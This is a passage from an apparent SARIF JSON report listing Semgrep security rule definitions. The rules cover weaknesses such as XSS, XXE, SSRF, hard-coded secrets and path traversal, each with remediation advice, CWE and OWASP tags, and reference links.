chosen-plaintext attacks against encrypted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv)\n - [https://csrc.nist.gov/publications/detail/sp/800-38a/final](https://csrc.nist.gov/publications/detail/sp/800-38a/final)\n","text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"helpUri":"https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","id":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","name":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request)\n - [https://nodejs.org/api/http.html#http_http_request_options_callback](https://nodejs.org/api/http.html#http_http_request_options_callback)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request","id":"problem-based-packs.insecure-transport.js-node.http-request.http-request","name":"problem-based-packs.insecure-transport.js-node.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.http-request.http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"help":{"markdown":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"helpUri":"https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json","id":"csharp.razor.security.html-raw-json.html-raw-json","name":"csharp.razor.security.html-raw-json.html-raw-json","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.razor.security.html-raw-json.html-raw-json"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","id":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","name":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe)\n - [https://github.com/astro/node-expat](https://github.com/astro/node-expat)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe","id":"javascript.express.security.express-expat-xxe.express-expat-xxe","name":"javascript.express.security.express-expat-xxe.express-expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-expat-xxe.express-expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection](https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"help":{"markdown":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.distributed.security.require-encryption)\n - [https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters](https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters)\n","text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"helpUri":"https://semgrep.dev/r/python.distributed.security.require-encryption","id":"python.distributed.security.require-encryption","name":"python.distributed.security.require-encryption","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.distributed.security.require-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"help":{"markdown":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)\n","text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","id":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","name":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","id":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","name":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"help":{"markdown":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall","id":"ruby.lang.security.dangerous-syscall.dangerous-syscall","name":"ruby.lang.security.dangerous-syscall.dangerous-syscall","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-syscall.dangerous-syscall"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","id":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","name":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"help":{"markdown":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","id":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","name":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","id":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","name":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","id":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","name":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"help":{"markdown":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path)\n - [https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/](https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/)\n","text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","id":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","name":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","id":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","name":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"help":{"markdown":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","id":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","name":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: 